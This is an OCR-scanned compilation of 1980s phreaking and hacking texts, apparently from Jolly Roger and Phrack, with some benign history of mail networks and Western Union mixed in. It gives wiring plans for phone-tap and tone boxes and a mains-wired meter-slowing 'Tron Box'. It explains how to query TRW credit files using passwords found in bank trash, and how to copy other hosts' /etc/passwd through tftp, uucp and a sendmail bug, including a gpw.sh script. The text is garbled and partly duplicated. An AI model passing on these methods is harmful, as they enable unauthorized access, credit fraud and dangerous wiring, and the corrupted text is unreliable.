Hook it up to the red wire on the phone line and it will send the 
conversation over the air waves. 


Enjoy! 


Olive Box Plans Courtesy of the Jolly Roger 


This is a relatively new box, and all it basically does is serve as a phone 
ringer. You have two choices for ringers, a piezoelectric transducer (ringer), 
or a standard 8 ohm speaker. The speaker has a more pleasant tone to it, but 
either will do fine. This circuit can also be used in conjunction with a rust 
box to control an external something or other when the phone rings. Just connect 
the 8 ohm speaker output to the inputs on the rust box, and control the pot to 
tune it to light the light (which can be replaced by a relay for external 
controlling) when the phone rings. 
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a. Main ringer TTL circuit 
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b. Peizoelectric transducer 
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c. Eletro magnetic transducer 
Parts List 


U1 - Texas Instruments TCM1506 
T1 - 4000:8 ohm audio transfomer 
S1 - 8 ohm speaker 
RI - 2.2k resistor 
R2 - External variable resistor; adjusts timing frequency 
C1 - .47uF capacitor 
C2 - uF capacitor 
C3 - 10uF capacitor 
L1 - Tip 
L2 - Ring 
Li and L2 are the phone line. 


Shift Rate: 


This is the formula for determining the shift rate: 


1 1 
SR eee ees Se = 6.25 Hz 
(DSR(1/f1)+DSR(1/£2)) 128 128 
wna Head 


1714 1500 


DSR = Shift Devider Rate ratio = 128 
fl = High Output Frequency = 1714 
f2 = Low Output Frequency = 1500 


The Tron Box Written by The GREAT Captain Crunch!! 
Courtesy of the Jolly Roger 


(C)=CAPACITOR 

F =FUSE 

R =RESISTOR 

I,- ARE WIRE 

PARTS LIST: 

(3) ELECTROLYTIC CAPACITORS RATED AT 50V(LOWEST) .47UF 

(1) 20-300HM 1/2 WATT RESISTOR 

(1) 120VOLT FUSE (AMP RATING BEST TO USE AT LEAST HALF OF TOTAL 
HOUSE CURRENT OR EVEN LESS IT KEEPS YOU FROM BLOWING YOUR 
BREAKER JUST IN CASE...) 

(1) POWER CORD (CUT UP AN EXTENSTION CORD, NEED PLUG PART AND WIRE) 

(1) ELECTRICALLY INSULATED BOX 


REST OF SIF YOUR DONT FILL COMFORTABLE ABOUT ELECTRICITY THEN DONT 
PLAY WITH THIS THERE IS VOLTAGE PRESENT THAT WILL 
ER KILL TE YOU ities acai 


THE THING WORKS WHEN THE LOAD IN YOUR HOUSE IS LOW LIKE AT NIGHT TIME. 


1T 
WILL PUT A REVERSE PHASE SIGNAL ON THE LINE AND CANCEL OUT THE OTHER 


PHASE 
AND PUT A REVERSE PHASE RUNNING EVERYTHING IN THE HOUSE. WELL IF YOU 


HAVE 
EVER SWITCHED THE POWER LEADS ON A D.C. (BATTERY POWERED) MOTOR YOU 
WILL SEE THAT IT RUNS BACKWARDS WELL YOUR ELECTRIC METER SORT OF 


WORKS 
THIS WAY...SO REVERSE PHASE MAKES THE METER SLOW DOWN AND IF YOUR 
LUCKY IT WILL GO BACKWARDS. ANYWAY IT MEANS A CHEAPER ELECTRIC BILL. 


More TRW Info Courtesy of the Jolly Roger 


Trw is a large database in which company's and banks can run credit 

checks on their customers. Example: John Jones orders 500$ worth of stereo 
equipment from the Joe Blow Electronic distributtng Co. Well it could be that 
he gave the company a phony credit card number, or doesn't have enough credit, 
etc. Well they call up Trw and then run a check on him, trw then lists his 

card numbers (everything from sears to visa) and tells the numbers, credit, 
when he lost it last (if he ever did) and then of course tells if he has had 

any prior problems paying his bills. 


I would also like to add that although Trw contains information on 

millions of people, not every part of the country is served, although the major 
area are.. So if you hate someone and live in a small state, you probably 
wont be able to order him 300 pink toilet seats from K-mart. 


Logging on 


To log on, you dial-up your local access number (or long-distance, what 
ever turns you on) and wait for it to say "trw" at this promt, you type 
either an "A" or a "Ctrl-G" and it will say "circuit building in progress" 
it will wait for a minute and then clear the screen, now you will type 
one of the following. 


Teal 
Tea2 
Tnjl 
Tgal 


This is to tell it what geographical area the customer is in, it really 
doesnt matter which you use, because trw will automatically switch when 
it finds the record.. 


Next, you will type in the pswd and info on the person you are trying to 
get credit info on: you type it in a format like this: 


Rts Pswd Lname Fname ..., House number First letter of street name Zip <cr> 
now you type ctrl s and 2 ctrl q's here is what it looks like in real life: 


Ae: Dialing xxx-xxx-XXxXxx 


(screen clear) 
Trw “G 


circuit building in progress 

(pause... screen clear) 

Teal 

Rtc 3966785-cm5 Johnson David ...,4567 
R 56785 

Ag 4q “q 


and then it will wait for a few seconds and print out the file on him 
(if it can locate one for the guy) 


note: you may have to push return when you first connect to get the systems 
attention. 


Getting Your Passwords 


To obtain pswds, you go down to your favorite bank or sears store and 

dig through the trash (hence the name trashing) looking for printouts, if 
they are a big enough place, and live in a trw area, then they will probably 
have some. The printouts will have the 7 digit subscriber code, leaving the 
3-4 digit pswd up to you. Much like trashing down at good old ma bell. 
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Prologue For None VMS Users 
DECnet is the network for DEC machines, in most cases you can say VAXes, 
DECnet allows you to do: - e-mail 
- file transfer 
- remote login 
- remote command 
- remote job entry 
- PHONE 
PHONE is an interactive communication between users and is equal to TALK 
on UNIX or a "deluxe"-CHAT on VM/CMS. 


BELWUE, the university network of the state Baden-Wuerttemberg in 
West Germany contains (besides other networks) a DECnet with about 400 VAXes. 
On every VAX there is standard-account called DECNET with pw:= DECNET, which is 
not reachable via remote login. This account is provided for several 
DECnet-Utilities and as a pseudo-guest-account. The DECNET-account has very 
restricted privileges: You cannot edit a file or make another remote login. 


The HELP-menu is equipped by the system and is similar to the MAN command 
on UNIX, 


More information on DECnet can be found in “Looking Around In DECnet" by 
Deep Thought in this very issue of Phrack Inc. 


Here, at the University of Ulm, we have an *incredibly* ignorant computer 
center staff, with an even bigger lack of system-literature (besides the 80 kg 
of VAX/VMS-manuals). The active may search for information by himself, which 
is over the level of "run," "FORTRAN," or "logout." My good luck that I have 
other accounts in the BEL WUE-DECnet, where more information is offered for the 
users. ] am a regular student in Ulm and all my accounts are completely legal 
and corresponding to the German laws. | don't call myself a "hacker," J feel 
more like a "user" (...it's more a defining-problem). 


In the HELP-menu in a host in Tuebingen I found the file netdcl.com and 
the corresponding explanation, which sends commands to the DECNET-Account of 
other VAXes and executes them there (remote command). The explanation in the 
HELP-menu was idiot-proof -- therefore for me, too :-) 


With the command "$ mer ncep show known nodes" you can obtain a list of all 


netwide active VAXes, as is generally known, and so J pinged all these VAXes to 
look for more information for a knowledge-thirsty user. With "help", "dir" and 
other similar commands I look around on those DECnet accounts, always watching 
for topics related to the BELWUE-network, It's a pity, that 2/3 of all VAXes 

have locked the DECNET-Account for NETDCL.COM. Their system managers are 
probably afraid of unauthorized access, but I cannot imagine how there could be 
such an unauthorized access, because you cannot log on this account -- no 

chance for trojan horses, etc. 


Some system managers called me back after I visited their VAX to chat with 
me about the network and asked me if they could help me in any way. One sysop 
from Stuttgart even sent me a version of NETDCL.COM for the ULTRIX operation 
system. 


Then, after a month, the HORROR came over me in shape of a the 
following mail: 


From: TUEBINGEN:SYSTEM = 31-MAY-1989 15:31:11.38 
To: FRAMSTAG 

ce: 

Subj: don't make any crap, or you'll be kicked out! 


From: ITTGPX:SYSTEM  29-MAY-1989 16:46 
To: TUEBINGEN::SYSTEM 
Subj: System-breaking-in 01-May-1989 


To the system manager of the Computer TUEBINGEN, 


On May Ist 1989 we had a System-breaking-in in our DECNET-account, which 
started from your machine. By help of our accounting we ascertained your user 
FRAMSTAG to have emulated an interactive log-on on our backbone-node and on 
every machine of our VAX-cluster with the "trojan horse" NETDCL.COM. Give us 
this user's name and address and dear up the occurrence completely. We point 

out that the user is punishable. In case of repetition we would be forced to 

take corresponding measures. We will check whether our system got injured. If 
not, this time we will disregard any measure. Inform us via DECnet about your 
investigation results -- we are attainable by the nodenumber 1084::system 


Dipl.-Ing. Michael Hager 


My system manager threatened me with the deleting of my account, if] 
would not immediately enlighten the affair. *Gulp*! 
I was conscious about my innocence, but how to tell it to the others? I 


explained, step by step, everything to my system manager, He then understood 
after a while, but the criminal procedure still hovered over me... so, I took 
quickly to my keyboard, to compose file of explanations and to send it to that 
angry system manager in Stuttgart (node 1084 is an institute there). But no 
way out: He had run out of disk quota and my explanation-mail sailed into the 
nirwana: 


$ mail explanation 
To: 1084::system 
%MAIL-E, error sending to user SYSTEM at 1084 


%MATITL-E-OPENOUT, error opening 
SYS$SYSROOT:[S YSMGR]MAIL$00040092594FD 1 94.MAT,; 
as output 


-RMS-E-CRE, ACP file create failed 
-SYSTEM-F-EXDISK QUOTA, disk quota exceeded 


Also the attempt of a connection with the PHONE-facilty failed: In his 
borderless hacker-paranoia, he cut off his PHONE... and nowhere is a list with 
the REAL-addresses of the virtual DECnet-addresses available (to prevent 
hacking). Now I stood there with the brand "DANGEROUS HACKER!" and I had no 
chance to vindicate myself. I poured out my troubles to an acquaintance of 
mine, who is a sysop in the computer-center in Freiburg. He asked other sysops 
and managers thru the whole BEL WUE-network until someone gave him a telephone 
number after a few days -- and that was the right one! 


1 phoned to this Hager and told him what I had done with his 
DECnet-account and also what NOT. I wanted to know which crime I had 
committed. He promptly cancelled all of his reproaches, but he did not excuse 
his defamous incriminations. I entreated him to inform my system manager in 
Tuebingen that I have done nothing illegal and to stop him from erasing my 
account. This happens already to a fellow student of mine (in this case, Hager 
was also guilty). He promised me that he would officially cancel his 
reproaches, 


After over a week this doesn't happen (I'm allowed to use my account 
further on). In return for it, ] received a new mail from Hager on another 
account of mine: 


From: 1084:;sHAGER 1-JUN-1989 12:51 
To: 50180::STUD_11 
Subj: System-breaking-in 


On June {st 1989 you have committed a system-breaking-in on at least one of our 
VAxXes. We were able to register this occurrence. We would be forced to take 
further measure if you did not dear up the occurrence completely until June 

6th. 


Of course the expenses involved would be imposed on you. Hence enlightenment 
must be in your own interest. 


We are attainable via DECnet-mail with the address 1084::HAGER or via following 
address: 


Institut fuer Technische Thermodynamik und Thermische Verfahrenstechnik 
Dipl.-Ing. M. Hager Tel.: 0711/685-6109 

DipL-Ing. M. Mrzyglod Tel.: 071 1/685-3398 

Pfaffenwaldring 9/10-1 

7000 Stuttgart-80 


M. Hager 
M. Mrzyglod 


This was the reaction of my attempt: "$ PHONE 1084::SYSTEM". I have not 
answered to this mail. | AM SICK OF IT! 


Framstag 
(FRAMSTAG@DTUPEVSA.BITNET) 


With Special Thanks For Translation Assistance To Schrulli B. 
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ACSNET 


Australian Computer Science Network (ACSNET), also known as Oz, has its gateway 
through the CSNET node munnari.oz.au and if you cannot directly mail to the 

oz.au domain, try either usernameYemunnari.oz.au@UUNET.UU.NET or 
munnari!username@UUNET.UU.NET. 


AT&T MAIL 

AT&T Mail is a mailing service of AT&T, probably what you might call it's 
MCI-Mail equivalent. It is available on the UUCP network as node name attmail 
but I've had problems having mail get through. Apparently, it does cost money 
to mail to this service and the surrounding nodes are not willing to pick up 

the tab for the ingoing mail, or at least, this has seemingly been the case 

thus far. I believe, though, that perhaps routing to att!attmail!user would 

work. 


AT&T recently announced six new X.400 interconnections between AT&T Mail and 
electronic mail services in the U.S., Korea, Sweden, Australia, and Finland. 

In the U.S., AT&T Mail is now interconnected with Telenet Communications 
Corporation's service, Telemail, allowing users of both services to exchange 
messages easily. With the addition of these interconnections, the AT&T Mail 
Gateway 400 Service allows AT&T Mail subscribers to exchange messages with 
users of the following electronic messaging systems: 


Company E-Mail Name* Country 
TeleDelta TeDe 400 Sweden 
OTC MPS400 Australia 
Telecom-Canada Envoy 100 Canada 
DACOM DACOM MHS Korea 
P&T-Tele MailNet 400 Finland 
Helsinki Telephone Co. ELISA Finland 
Dialcom Dialcom USA 
Telenet Telemail USA 

KDD Messavia Japan 
Transpac ATLAS400 France 


The interconnections are based on the X.400 standard, a set of guidelines for 
the format, delivery and receipt of electronic messages recommended by an 
international standards committee the CCITT. International X.400 messages 
incur a surcharge. They are: 


To Canada: 
Per note: $.05 
Per message unit: $.10 


To other international locations: 
Per note: $.20 
Per message unit: $.50 


There is no surcharge for X.400 messages within the U.S. The following are 
contacts to speak with about mailing through these mentioned networks. Other 
questions can be directed through AT&T Mail's toll-free number, 1-800-624-5672. 


MHS Gateway: mhslatlas MHS Gateway: mhs!dacom 
Administrator: Bernard Tardieu Administrator: Bob Nicholson 
Transpac AT&T 
Phone: 3399283203 Morristown, NJ 07960 
Phone: +1 201 644 1838 
MHS Gateway: mhs!dialcom MHS Gateway: mhs!elisa 
Administrator: Mr. Laraman Administrator: Ulla Karajalainen 
Dialcom Nokia Data 
South Plainfield, NJ 07080 Phone: 01135804371 
Phone: +1 441 493 3843 
MHS Gateway: mhs!envoy MHS Gateway: mhs!kdd 
Administrator: Kin C. Ma Administrator: Shigeo Lwase 
Telecom Canada Kokusai Denshin Denwa CO. 
Phone: +1 613 567 7584 Phone: 8133477419 
MHS Gateway: mhs!mailnet MHS Gateway: mhs!ote 
Administrator: Kari Aakala Administrator: Gary W. Krumbine 
Gen Directorate Of Post & AT&T Information Systems 
Phone: 35806921730 Lincroft, NJ 07738 

Phone: +1 201 576 2658 
MHS Gateway: mhs!telemail MHS Gateway: mhs 
Administrator: Jim Kelsay Administrator: AT&T Mail MHS 
GTE Telenet Comm Corp Gateway 
Reston, VA 22096 AT&T 
Phone: +1 703 689 6034 Lincroft, NJ 08838 


Phone: +1 800 624 5672 


CMR 

Previously known as Intermail, the Commercial Mail Relay (CMR) Service is a 
mail relay service between the Internet and three commercial electronic mail 
systems: US Sprint/Telenet, MCI-Mail, and DIALCOM systems (i.e. Compmail, 
NSFMAIL, and USDA-MAIL). 


An important note: The only requirement for using this mail gateway is that 

the work conducted must be DARPA sponsored research and other approved 
government business. Basically, this means that unless you've got some 
government-related business, you're not supposed to be using this gateway. 
Regardless, it would be very difficult for them to screen everything that goes 
through their gateway. Before I understood the requirements of this gateway, I 
was sending to a user of MC]-Mail and was not contacted about any problems with 
that communication. Unfortunately, I mistyped the MCI-Mail address on one of 
the letters and that letter ended up getting read by system administrators who 
then informed me that I was not to be using that system, as well as the fact 

that they would like to bill me for using it. That was an interesting thought 

on their part anyway, but do note that using this service does incur charges. 


The CMR mailbox address in each system corresponds to the label: 


Telemail: [Intermail/USCISIJTELEMAIL/USA 
MCI-Mail: Intermail or 107-8239 
CompMail: Intermail or CMP0817 
NSF-Mail: Intermail or NSF153 
USDA-Mail: Intermail or AGS9999 


Addressing examples for each e-mail system are as follows: 


MCIMAIL: 
123-4567 seven digit address 
Everett T. Bowens person's name (must be unique!) 
COMPMAIL: 
CMP0123 three letters followed by three or four digits 
S.Cooper initial, then "." and then last name 
134:;CMP0123 domain, then ":" and then combination system and 


account number 


NSFMAIL: 
NSFO123 three letters followed by three or four digits 
A.Phillips initial, then "." and then last name 
157:NSF0123 domain, then ":" and then combination system and 
account number 
USDAMAIL: 
AGS0123 three letters followed by three or four digits 
P. Shifter initial, then "." and then last name 
157:AGS0123 domain, then ":" and then combination system and 


account number 


TELEMAIL: 
BARNOC user (directly on Telemail) 
BARNOC/LODH user/organization (directly on Telemail) 
[BARNOC/LODH]TELEMAIL/USA 
{user/organization]system branch/country 


The following are other Telenet system branches/countries that can be mailed 
to: 


TELEMAIL/USA NASAMAIL/USA  MAIL/USA TELEMEMO/AUSTRALIA 
TELECOM/CANADA TOMMAIL/CHILE TMAILUK/GB ITALMAILATALY 
ATI/IAPAN PIPMAIL/ROC DGC/USA FAAMAIL/USA 

GSFC/USA GTEMAIL/USA  TMII/USA TNET.TELEMAIL/USA 
USDA/USA 


Note: OMNET's ScienceNet is on the Telenet system MAIL/USA and to mail to 
it, the format would be [AMAILBOX/OMNET]|MAIL/USA. The following are available 
subdivisions of OMNET: 


AIR Atmospheric Sciences 

EARTH Solid Earth Sciences 

LIFE Life Sciences 

OCEAN Ocean Sciences 

POLAR Interdisciplinary Polar Studies 
SPACE Space Science and Remote Sensing 
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A Real Functioning PEARL BOX Schematic || 


I 
Written, Tested, and Used ll 
by Dispater il 
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AAA 


Introduction: After reading the earlier renditions of schematics for the Pearl 


Box, I decided that there was an easier and cheaper way of doing 
the same thing with an IC and parts you probably have just 
laying around the house. 


What Is A Pear! Box and Why Do I Want One? 


A Pearl Box is a tone generating device that is used to make a wide range 
of single tones. Therefore, it would be very easy to modify this basic 
design to make a Blue Box by making 2 Pearl Boxes and joining them 
together in some fashion. 


A Pearl Box can be used to create any tone you wish that other boxes may 
not. It also has a tone sweep option that can be used for numerous things 
like detecting different types of phone tapping devices. 


Parts List: 


CD4049 RCA integrated circuit 

.1 uF disk capacitor 

1 uF 16V electrolitic capacitor 

1K resistor 

10M resistor 

Imeg pot 

1N914 diode 

Some SPST momentary push-button switches 
1 SPDT toggle switch 

9 Volt battery & clip 

and miscellaneous stuff you should have laying around the house. 


State-of-the-Art-Text Schematic: 


+ 16V luF - 
I 
| ot! I | es 
| | | 1 80hms 
: oe | Hl 
1910111213 141516] | | LN 
| CD4049UBE | | | 
j12 3.4 5 6 7 8] : | 7 
LILI (] 


i | 
fi! | : [b] 
|| 


| 1 1N914 } (d] 


| i [+] 
tm iL : 
| 
| 10M | | 
| AM_|} | 
| 
I Ld | <-- These 2 wires to the center pole 
i! of switch. 
wluF 50V | | 
| | 
| ___ [Toggle Switch] 
| | | aa] 
| | | 00 | 
| | |AMA__ it 
LMA__ MW | oe | 
1K * | fecacsl $B) 
| | 00 | 
|MA__] |__| 
(pAakala Administrator: Gary W. Krumbine 
Gen Directorate Of Post & AT&T Information Systems 
Phone: 35806921730 Lincroft, NJ 07738 
Phone: +1 201 576 2658 
MHS Gateway: mhs!telemail MHS Gateway: mhs 
Administrator: Jim Kelsay Administrator: AT&T Mail MHS 
GTE Telenet Comm Corp Gateway 
Reston, VA 22096 AT&T 
Phone: +1 703 689 6034 Lincroft, NJ 08838 


Phone: +1 800 624 5672 


CMR 


Previously known as Intermail, the Commercial Mail Relay (CMR) Service is a 
mail relay service between the Internet and three commercial electronic mail 
systems: US Sprint/Telenet, MCI-Mail, and DIALCOM systems (i.e. Compmail, 
NSFMAIL, and USDA-MAIL). 


An important note: The only requirement for using this mail gateway is that 
the work conducted 
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There are many ways of getting copies of files from a remote system that you 
do not have permission to read or an account on login on to and access them 
through. Many administrators do not even bother to restrict many access 
points that you can use. 
Here are the simplest ways: 
A) Use uucp(1) [Trivial File Transfer Protocol] to retrieve a copy 


of a file if you are running on an Internet based network. 


B) Abuse uucp(1) [Unix to Unix Copy Program] to retrieve a copy of a file 
if wucp connections are running on that system. 


C) Access one of many known security loopholes. 

In the following examples, we will use the passwd file as the file to acquire 
since it is a readable file that can be found on most systems that these 
attacks are valid on. 


Method A: 


1) First start the tftp program: 
Enter the command: 


tftp 
[You have the following prompt:] 
tftp> 


2) The next step is to connect to the system that you wish to retrieve files 
from. At the tftp, type: 


tftp> connect other.system.com 
3) Now request the file you wish to get a copy of (in our case, the 
passwd file /etc/passwd ): 
tftp> get /etc/passwd /tmp/passwd 
[You should see something that looks like the following:] 
Received 185659 bytes in 22 seconds. 
4) Now exit the tftp program with the "quit” command: 
tftp> quit 
You should now have a copy of other.system.com's passwd file in your directory. 


NOTE: Some Unix systems' tftp programs have a different syntax. The above was 
tested under SunOS 4.0 


For example, on Apollos, the syntax is: 
tftp -{glg!|pir|w} <local file> <host> <foreign file> [netasciilimage] 
Thus you must use the command: 
tftp -g password_file networked-host /etc/passwd 
Consult your local "man" pages for more info (or in other words RTFM). 


At the end of this article, I] will include a shell script that will snarfa 
password file from a remote host. To use it type: 


gpw system_name 
Method B : 


Assuming we are getting the file /etc/passwd from the system uusucker, and 
our system has a direct uucp connection to that system, it is possible to 

request a copy of the file through the uucp links. The following command will 
request that a copy of the passwd file be copied into uucp's home directory 
/asr/spool/uucppublic : 


uucp -m uusucker!/etc/passwd ‘>uucp/uusucker_passwd’ 


The flag "-m" means you will be notified by mail when the transfer is 
completed. 


Method C: 


The third possible way to access the desired file requires that you have 
the login permission to the system. 


In this case we will utilize a well-known bug in Unix's sendmail daemon. 
The sendmail program has and option "-C" in which you can specify the 
configuration file to use (by default this file is /usr/lib/sendmail.cf or 
/etc/sendmail.cf). It should also be noted that the diagnostics outputted by 
sendmail contain the offending lines of text. Also note that the sendmail 


program runs setuid root. 


The way you can abuse this set of facts (if you have not yet guessed) is by 
specifying the file you wish read as the configuration file. Thus the command: 


sendmail -C/usr/accounts/random_joe/private/file 

Will give you a copy of random joe's private file. 

Another similar trick is to symlink your .mailcf file to joe's file and mail 
someone, When mail executes sendmail (to send the mail), it will load in your 
mailcf and barf out joe's stuff. 

First, link joe's file to your .mailcf . 

In -s /usr/accounts/random_joe/private/file SHOME/.mailef 

Next, send mail to someone. 


mail C488869@umevmb.missouri.edu 


And have fun. 


-=-Cut Here=-=-=-Cut Here=-=-=- gpw.sh =-=-=-Cut Here=-=-=-=- Cut Here=-=-=-=-= 


: gpw copyright(c) Dark Overlord 


/asr/ucb/tftp $1 << EOF 
mode ascii 


verbose 


trace 

get /etc/passwd /tmp/pw.$1 

quit 

EOF 

-=-Cut Here=-=-=-Cut Here=-=-=- Cut Here=-=-=- Cut Here=-=-=-=-Cut Here=-=-=-=-= 


** END OF MESSAGE ** 
#EOI 


[M] PHRACK: Type 
==Phrack Inc== 


Volume Three, Issue 30, File #10 of 12 


Western Union a 
=== Telex, TWX, and Time Service === 


=== by Phone Phanatic — 


== September 17, 1989 SS 


"Until a few years ago -- maybe ten -- it was very common to 
see TWX and Telex machines in almost every business place.” 


There were only minor differences between Telex and TWX. The biggest 
difference was that the former was always run by Western Union, while the 
latter was run by the Bell System for a number of years. TWX literally meant 
"(T)ype(W)riter e(x)change," and it was Bell's answer to competition from 
Western Union. There were "three row" and "four row" machines, meaning the 
number of keys on the keyboard and how they were laid out. The "three row" 
machines were simply part of the regular phone network; that is, they could 
dial out and talk to another TWX also connected on regular phone lines. 


Eventually these were phased out in favor of "newer and more improved" machines 
with additional keys, as well as a paper tape reader attachment which allowed 
sending the same message repeatedly to many different machines. These "four 
row" machines were not on the regular phone network, but were assigned their 


own area codes (410-5 10-610-710-810-910) where they still remain today. The 
only way a four row machine could call a three row machine or vice-versa was 
through a gateway of sorts which translated some of the character set unique to 
each machine. 


Western Union's network was called Telex and in addition to being able to 
contact (by dial up) other similar machines, Telex could connect with TWX (and 
vice-versa) as well as all the Western Union public offices around the country. 
Until the late 1950's or early 1960's, every small town in America had a 

Western Union office. Big cities like Chicago had perhaps a dozen of them, and 
they used messengers to hand deliver telegrams around town. Telegrams could be 
placed in person at any public office, or could be called in to the nearest 

public office. 


By arrangement with most telcos, the Western Union office in town nearly always 
had the phone number 4321, later supplemented in automated exchanges with some 
prefix XXX-4321. Telegrams could be charged to your home phone bill (this is 
still the case in some communities) and from a coin phone, one did not ask for 
4321, but rather, called the operator and asked for Western Union. This was 
necessary since once the telegram had been given verbally to the wire clerk, 

s/he in turn had to flash the hook and get your operator back on the line to 

tell them "collect five dollars and twenty cents" or whatever the cost was. 
Telegrams, like phone calls, could be sent collect or billed third party. If 

you had an account with Western Union, i.e. a Telex machine in your office, you 
could charge the calls there, but most likely you would simply send the 

telegram from there in the first place. 


Sometime in the early 1960's, Western Union filed suit against AT&T asking that 
they turn over their TWX business to them. They cited an earlier court ruling, 
circa 1950's, which said AT&T was prohibited from acquiring any more telephone 
operating companies except under certain conditions. The Supreme Court agreed 
with Western Union that "spoken messages" were the domain of Ma Bell, but 
"written messages" were the domain of Western Union. So Bell was required to 
divest itself of the TWX network, and Western Union has operated it since, 
although a few years ago they began phasing out the phrase "TWX" in favor of 
"Telex II"; their original device being "Telex I" of course. TWX still uses 

ten digit dialing with 610 (Canada) or 710/910 (USA) being the leading three 
digits. Apparently 410-510 have been abandoned; or at least they are used very 
little, and Bellcore has assigned 510 to the San Francisco area starting in a 

year or so. 410 still has some funny things on it, like the Western Union 
"Infomaster," which is a computer that functions like a gateway between Telex, 
TWX, EasyLink and some other stuff. 


Today, the Western Union network is but a skeleton of its former self. Now 
most of their messages are handled on dial up terminals connected to the public 


phone network. It has been estimated the TWX/Telex business is about fifty 
percent of what it was a decade ago, if that much. 


Then there was the Time Service, a neat thing which Western Union offered for 
over seventy years, unti! it was discontinued in the middle 1960's. The Time 
Service provided an important function in the days before alternating current 
was commonly available. For example, Chicago didn't have AC electricity until 
about 1945. Prior to that we used DC, or direct current. 


Well, to run an electric clock, you need 60 cycles AC current for obvious 
reasons, so prior to the conversion from DC power to AC power, electric wall 
clocks such as you see in every office were unheard of. How were people to 
tell the time of day accurately? Enter the Western Union clock. 


The Western Union, or "telegraph clock” was a spring driven wind up clock, but 
with a difference. The clocks were "perpetually self-winding,"” manufactured by 
the Self-Winding Clock Company of New York City. They had large batteries 
inside them, known as "telephone cells" which had a life of about ten years 
each. A mechanical contrivance in the clock would rotate as the clock spring 
unwound, and once each hour would cause two metal clips to contact for about 
ten seconds, which would pass juice to the little motor in the clock which in 
turn re-wound the main spring. The principle was the same as the battery 
operated clocks we see today. The battery does not actually run the clock -- 
direct current can't do that -- but it does power the tiny motor which re-winds 
the spring which actually drives the clock. 


The Western Union clocks came in various sizes and shapes, ranging from the 
smallest dials which were nine inches in diameter to the largest which were 
about eighteen inches in diameter. Some had sweep second hands; others did 
not. Some had a little red light bulb on the front which would flash. The 
typical model was about sixteen inches, and was found in offices, schools, 
transportation depots, radio station offices, and of course in the telegraph 
office itself. 


The one thing all the clocks had in common was their brown metal case and 
cream-colored face, with the insignia "Western Union" and their corporate logo 
in those days which was a bolt of electricity, sort of like a letter "Z" laying 

on its side. And in somewhat smaller print below, the words "Naval Observatory 
Time." 


The local clocks in an office or school or wherever were calibrated by a 
"master clock” (actually a sub-master) on the premises. Once an hour on the 
hour, the (sub) master clock would drop a metal contact for just a half second, 
and send about nine volts DC up the line to all the local clocks. They in turn 
had a "tolerance" of about two minutes on both sides of the hour so that the 


current coming to them would yank the minute hand exactly upright onto the 
twelve from either direction if the clock was fast or slow. 


The sub-master clocks in each building were in turn serviced by the master 
clock in town; usually this was the one in the telegraph office. Every hour on 
the half hour, the master clock in the telegraph office would throw current to 
the sub-masters, yanking them into synch as required. And as for the telegraph 
offices themselves, they were serviced twice a day by -- you guessed it -- the 
Naval Observatory Master clock in Our Nation's Capitol, by the same routine. 
Someone there would press half a dozen buttons at the same time, using all 
available fingers; current would flow to every telegraph office and synch all 
the master clocks in every community. Western Union charged fifty cents per 
month for the service, and tossed the clock in for free! Oh yes, there was an 
installation charge of about two dollars when you first had service (i.e. a 
clock) installed. 


The clocks were installed and maintained by the "clockman,” a technician from 
Western Union who spent his day going around hanging new clocks, taking them 
out of service, changing batteries every few years for each clock, etc. 


What a panic it was for them when "war time" (what we now call Daylight Savings 
Time) came around each year! Wally, the guy who serviced all the clocks in 
downtown Chicago had to start on *Thursday* before the Sunday official 
changeover just to finish them all by *Tuesday* following. He would literally 
rush in an office, use his screwdriver to open the case, twirl the hour hand 
around one hour forward in the spring, (or eleven hours *forward* in the fall 
since the hands could not be moved backward beyond the twelve going 
counterclockwise), slam the case back on, screw it in, and move down the hall 
to the next clock and repeat the process. He could finish several dozen clocks 
per day, and usually the office assigned him a helper twice a year for these 
events. 


He said they never bothered to line the minute hand up just right, because it 
would have taken too long, and ".....anyway, as long as we got it within a 
minute or so, it would synch itself the next time the master clock sent a 
signal..." Working fast, it took a minute to a minute and a half to open the 
case, twirl the minute hand, put the case back on, "stop and b.s. with the 
receptionist for a couple seconds" and move along. 


The master clock sent its signal over regular telco phone lines. Usually it 
would terminate in the main office of whatever place it was, and the (sub) 
master there would take over at that point. 


Wally said it was very important to do a professional job of hanging the clock 
to begin with. It had to be level, and the pendulum had to be just right, 


otherwise the clock would gain or lose more time than could be accommodated in 
the hourly synching process. He said it was a very rare clock that actually 

was out by even a minute once an hour, let alone the two minutes of tolerance 
built into the gear works. 


"Sometimes I would come to work on Monday morning, and find out 
in the office that the clock line had gone open Friday evening. So 
nobody all weekend got a signal. Usually ] would go down a manhole 
and find it open someplace where one of the Bell guys messed it up, 
or took it off and never put it back on. To find out where it was 

open, someone in the office would 'ring out' the line; I'd go around 
downtown following the loop as we had it laid out, and keep listening 
on my headset for it. When I found the break or the open, I would 

tie it down again and the office would release the line; but then I 

had to go to all the clocks *before* that point and restart them, 

since the constant current from the office during the search had 
usually caused them to stop.” 


But he said, time and again, the clocks were usually so well mounted and hung 
that "...it was rare we would find one so far out of synch that we had to 

adjust it manually. Usually the first signal to make it through once I 

repaired the circuit would yank everyone in town to make up for whatever they 
lost or gained over the weekend..." 


In 1965, Western Union decided to discontinue the Time Service. In a nostalgic 
letter to subscribers, they announced their decision to suspend operations at 

the end of the current month, but said "for old time's sake" anyone who had a 
clock was welcome to keep it and continue using it; there just would not be any 
setting signals from the master clocks any longer. 


Within a day or two of the official announcement, every Western Union clock in 
the Chicago area headquarters building was gone. The executives snatched them 
off the wall, and took them home for the day when they would have historical 
value. All the clocks in the telegraph offices disappeared about the same 

time, to be replaced with standard office-style electric wall clocks. 
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There are literally hundreds of systems connected to some of these larger 
networks, like Tymnet and Telenet. Navigation around these networks is very 
simple, and usually well explained in their on-line documentation. 
Furthermore, some systems will actually tell you what is connected and how to 
get to it. In the case of Tymnet, after dialing in, at the log in prompt, type 
“information” for the on-line documentation. 


Accessing systems through networks is as simple as providing an address for it 
to connect to. The best way to learn about the addresses and how to do things 

on a network is to read "A Novice's Guide to Hacking (1989 Edition)" which was 
in Issue 22, File 4 of 12, Volume Two (December 23, 1988). Some points are 
re-iterated here. 


Once on a network, you provide the NUA (network user address) of the system you 

wish to connect to, NUAs are strings of 15 digits, broken up in to 3 fields, 

the NETWORK ADDRESS, the AREA PREFIX, and the DNIC. Each field has 5 digits, 
and are left padded with 0's where necessary. 


The DNIC determines which network to take the address from. Tymnet, for 
example, is 03106. 03110 is Telenet. 


The AREA PREFIX and NETWORK ADDRESS determine the connection point. By 
providing the address of the system that you wish to connect to, you will be 

accessing it through the net... as if you were calling it directly. Obviously, 

then, this provides one more level of security for access. 


By connecting to an outdial, you can increase again the level of security you 
enjoy, by using the outdial in that area to connect to the remote system. 


